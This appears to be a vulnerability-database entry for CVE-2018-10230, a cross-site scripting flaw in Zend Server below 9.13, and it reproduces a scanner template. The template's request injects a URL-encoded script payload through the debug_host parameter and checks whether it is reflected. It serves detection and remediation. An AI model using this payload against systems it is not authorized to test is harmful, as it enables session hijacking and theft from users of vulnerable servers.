CVE-2018-10230: Zend Server <9.13 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: Zend Server | POC: 已公开

漏洞描述

Zend Server before version 9.13 is vulnerable to cross-site scripting via the debug_host parameter.

PoC代码[已公开]

id: CVE-2018-10230

info:
  name: Zend Server <9.13 - Cross-Site Scripting
  author: marcos_iaf
  severity: medium
  description: |
    Zend Server before version 9.13 is vulnerable to cross-site scripting via the debug_host parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade Zend Server to version 9.13 or later to mitigate this vulnerability.
  reference:
    - https://www.synacktiv.com/ressources/zend_server_9_1_3_xss.pdf
    - https://www.zend.com/en/products/server/release-notes
    - https://nvd.nist.gov/vuln/detail/CVE-2018-10230
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-10230
    cwe-id: CWE-79
    epss-score: 0.05194
    epss-percentile: 0.89528
    cpe: cpe:2.3:a:zend:zend_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zend
    product: zend_server
    shodan-query: cpe:"cpe:2.3:a:zend:zend_server"
  tags: cve,cve2018,xss,zend

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?debug_host=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&start_debug=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"
          - "is not allowed to open debug sessions"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a00463044022069fee63105d24ff9d25a5b1f4d27855a1262c169a68a59f4bb9abda540d6a482022036b8efdcb6ded082cae43d8623fa485a46c0ea0698662ea5a4ab927b987460ba:922c64590222798bb761d5b6d8e72950